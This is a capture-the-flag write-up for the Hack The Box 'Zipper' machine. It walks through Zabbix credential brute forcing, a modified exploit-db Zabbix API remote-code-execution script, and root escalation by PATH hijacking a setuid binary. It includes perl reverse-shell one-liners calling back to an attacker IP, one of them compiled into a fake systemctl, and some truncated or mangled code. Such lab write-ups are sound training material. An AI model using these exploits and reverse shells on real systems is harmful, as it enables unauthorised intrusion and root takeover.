# Hack The Box - Writeup

Zipper

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#### Recon

As always Recon starts with nmap.

#### nmap

```
Discovered open port 22/tcp on 10.10.10.108
Discovered open port 80/tcp on 10.10.10.108
Discovered open port 10050/tcp on 10.10.10.108
```

#### Results of nmap with service scan

Port	Status	Service
22/tcp	open	OpenSSH 7.6p1 Ubuntu 4
80/tcp	open	Apache httpd 2.4.29
10050/tcp	open	tcpwrapped

# gobuster

Gobuster v1.4.1 OJ Reeves (@TheColonial)

[+] Mode : dir

[+] Url/Domain : http://10.10.10.108/

[+] Threads : 10

[+] Wordlist : /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt

[+] Status codes : 307,200,204,301,302

/zabbix (Status: 301)

\_\_\_\_\_

#### **Browser**

Then browse to http://10.10.10.108/zabbix.

No login is known so we will proceed as guest. Enumerating everything which can be read within th guest page I created a possible wordlist for username and password.

```
--- loot/zipper <master> » cat userpass.txt
zapper
Zapper
Password
password
zipper
Zipper
Zabbix
zabbix
Admin
admin
Administrator
administrator
```

Using hydra it was easy to find out that username and password is both zapper:

So now we can login but get the error: GUI access disabled.

#### Initial Foothold - Get user.txt

Using the exploit Zabbix 2.2 < 3.0.3 - API JSON-RPC Remote Code Execution found by using the exploit-db you can gain a **zabbix-shell**. But first you need to alter the exploit and provide the IP address, username and password.

```
--- loot/zipper <master> » ./exploit.py
uid name
10105 Zabbix
10106 Zipper
[input_hostid]>>:
```

Using this exploit you can browse the two hosts at least. I used a perl oneliner reverse shell to get a more comfortable shell then.

```
perl -e 'use Socket;$i="10.10.14.3";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(
```

Browsing the host you will discover the directory /backups/. Download the two 7zip archives.

Clearly we are in a docker container.

After hammering in here for a long time (dead end) I then went one step back and enumerated.

I switched the exploit to a almost similar one:

Figure 1: Results of Hydra bruteforce attack

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A
[.. output omitted..]
In this exploit I hardcoded the url, credentials AND the host id 10106 (host zipper
NOT zabbix).
Then I updated two sections:
--- loot/zipper <master> » diff /opt/exploit-database/exploits/php/webapps/39937.py \
./39937.py
17c17
< ZABIX_ROOT = 'http://192.168.66.2' ### Zabbix IP-address
> ZABIX_ROOT = 'http://10.10.10.108/zabbix' ### Zabbix IP-address
20,22c20,22
< login = 'Admin' ### Zabbix login
< password = 'zabbix' ### Zabbix password</pre>
< hostid = '10084' ### Zabbix hostid
> login = 'zapper'
                       ### Zabbix login
> password = 'zapper' ### Zabbix password
> hostid = '10106' ### Zabbix hostid
53c53,54
            "command": ""+cmd+""
<
___
            "command": ""+cmd+"",
            "execute_on": "0"
67c68,69
           "hostid": ""+hostid+""
___
            "hostid": ""+hostid+"",
>
            "execute_on": "0"
75c77
< print cmd_exe["result"]["value"]</pre>
\ No newline at end of file
```

```
> print cmd exe["result"]["value"]
```

Following the api guide of zabbix *execute\_on* will force the execution of the command on the agent as target. Default value is 1 which will trigger the command on the zabbix server itself.

Finally you will get a shell on

```
zabbix@zipper:/home/zapper$ ls -la
total 48
drwxr-xr-x 6 zapper zapper 4096 Sep 9 19:12 .
drwxr-xr-x 3 root
                   root
                           4096 Sep 8 06:44 ...
-rw----- 1 zapper zapper
                              0 Sep 8 13:44 .bash history
-rw-r--r- 1 zapper zapper 220 Sep 8 06:44 .bash_logout
-rw-r--r-- 1 zapper zapper 4699 Sep 8 13:41 .bashrc
drwx----- 2 zapper zapper 4096 Sep 8 06:45 .cache
drwxrwxr-x 3 zapper zapper 4096 Sep 8 13:13 .local
-rw-r--r-- 1 zapper zapper 807 Sep 8 06:44 .profile
                             66 Sep 8 13:13 .selected_editor
-rw-rw-r-- 1 zapper zapper
drwx----- 2 zapper zapper 4096 Sep 8 13:14 .ssh
-rw----- 1 zapper zapper
                             33 Sep 9 19:07 user.txt
drwxrwxr-x 2 zapper zapper 4096 Sep 8 13:27 utils
zabbix@zipper:/home/zapper$ whoami
zabbix
zabbix@zipper:/home/zapper$ hostname
zabbix@zipper:/home/zapper$
You'll find a interesting directory with a interesting content:
zabbix@zipper:/home/zapper/utils$ ls -la
drwxrwxr-x 2 zapper zapper 4096 Sep 8 13:27 .
drwxr-xr-x 6 zapper zapper 4096 Sep 9 19:12 ..
-rwxr-xr-x 1 zapper zapper 194 Sep 8 13:12 backup.sh
-rwsr-sr-x 1 root
                    root
                           7556 Sep 8 13:05 zabbix-service
zabbix@zipper:/home/zapper/utils$
So looking at backup.sh will reveal the 7zip password needed to open the previously
downloaded 7zip's.
zabbix@zipper:/home/zapper/utils$ cat backup.sh
#!/bin/bash
# Quick script to backup all utilities in this folder to /backups
```

```
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z\
-pZippityDoDah /home/zapper/utils/* &>/dev/null
AND! Take a lucky guess:
zabbix@zipper:/home/zapper/utils$ su zapper
Password: ZippityDoDah
bash: cannot set terminal process group (1854): Inappropriate ioctl for device
bash: no job control in this shell
[banner omitted]
[0] Packages Need To Be Updated
[>] Backups:
4.0K
        /backups/zapper_backup-2018-10-30.7z
zapper@zipper:~/utils$
zapper@zipper:~/utils$ cd ...
zapper@zipper:~$ cat user.txt
aa29e93f48c64f8586448b6f6e38fe33
zapper@zipper:~$
```

And while you are here be sure to grab the private key for ssh login. Makes things easier.

## Priv Esc - Get root.txt

Looking for setuid/setgid:

```
zapper@zipper:/$ find / -perm -4000 2>/dev/null
/home/zapper/utils/zabbix-service
/bin/ntfs-3g
/bin/umount
/bin/fusermount
/bin/ping
/bin/su
/bin/mount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/gpasswd
```

```
/usr/bin/traceroute6.iputils
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
zabbix-service looks interesting!
```

Unzipping the 7zip previously downloaded you might wanna look at the zabbix-service with ltrace.

```
--- loot/zipper <master> » ltrace ./zabbix-service
__libc_start_main(0x565ec6ed, 1, 0xff838f34, 0x565ec840 <unfinished ...>
setuid(0)
                                                = -1
setgid(0)
                                                = -1
printf("start or stop?: ")
                                                = 16
fgets(start or stop?: stop
"stop\n", 10, 0xf7ebb580)
                                                = 0xff838e62
strcspn("stop\n", "\n")
                                                = 4
strcmp("stop", "start")
                                                = 1
strcmp("stop", "stop")
                                                = 0
system("systemctl stop zabbix-agent"
```

As you can see systemctl is run without a PATH. So it is just as easy as hijacking the binary and path. This is all done on the machine.

# Step 1 - constructing malicious systemctl.c

```
zapper@zipper:~/utils$ cat systemctl.c
int main(int argc, char **argv) {
    setuid(0);
    system("id && whoami");
    system("cat /root/root.txt");
    return 0;
}
```

#### Step 2 - compiling systemctl

```
[-Wimplicit-function-declaration] system("id && whoami");
```

## Step 3 - Killing the PATH

```
PATH=::${PATH} export PATH

zapper@zipper:~/utils$ echo $PATH

.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin:/usr/games
:/usr/local/games

Notice the . before the PATH. That's what we want.
```

#### Step 4 - Get root!

```
zapper@zipper:~/utils$ ./zabbix-service stop
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip)
,46(plugdev),111(lpadmin),112(sambashare),1000(zapper)
root
a7c743d35b8efbedfd9336492a8eab6e
```

# Root shell for shits and giggles

```
zapper@zipper:~/utils$ cat systemctl.c
int main(int argc, char **argv) {
    setuid(0);
    system("id && whoami");
    system("cat /root/root.txt");
    system("perl -e 'use Socket;$i=\"10.10.14.4\";
        $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));
        if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\")
        ;open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'");
   return 0;
}
zapper@zipper:~/utils$ gcc systemctl.c -o systemctl
systemctl.c: In function 'main':
systemctl.c:2:2: warning: implicit declaration of function 'setuid'
                          [-Wimplicit-function-declaration]
  setuid(0);
  ^~~~~~
```

```
systemctl.c:3:2: warning: implicit declaration of function 'system'
                          [-Wimplicit-function-declaration]
  system("id && whoami");
zapper@zipper:~/utils$ ./zabbix-service stop
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),
30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(zapper)
a7c743d35b8efbedfd9336492a8eab6e
On my attacker box:
--- ~ » ncat -lvp 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.108.
Ncat: Connection from 10.10.10.108:53612.
[Banner omitted]
[0] Packages Need To Be Updated
[>] Backups:
4.0K
        /backups/zapper_backup-2018-10-30.7z
4.0K
        /backups/zabbix_scripts_backup-2018-10-30.7z
root@zipper:~/utils# whoami
whoami
root@zipper:~/utils# hostname
hostname
zipper
root@zipper:~/utils# cat /root/root.txt
cat /root/root.txt
a7c743d35b8efbedfd9336492a8eab6e
root@zipper:~/utils#
```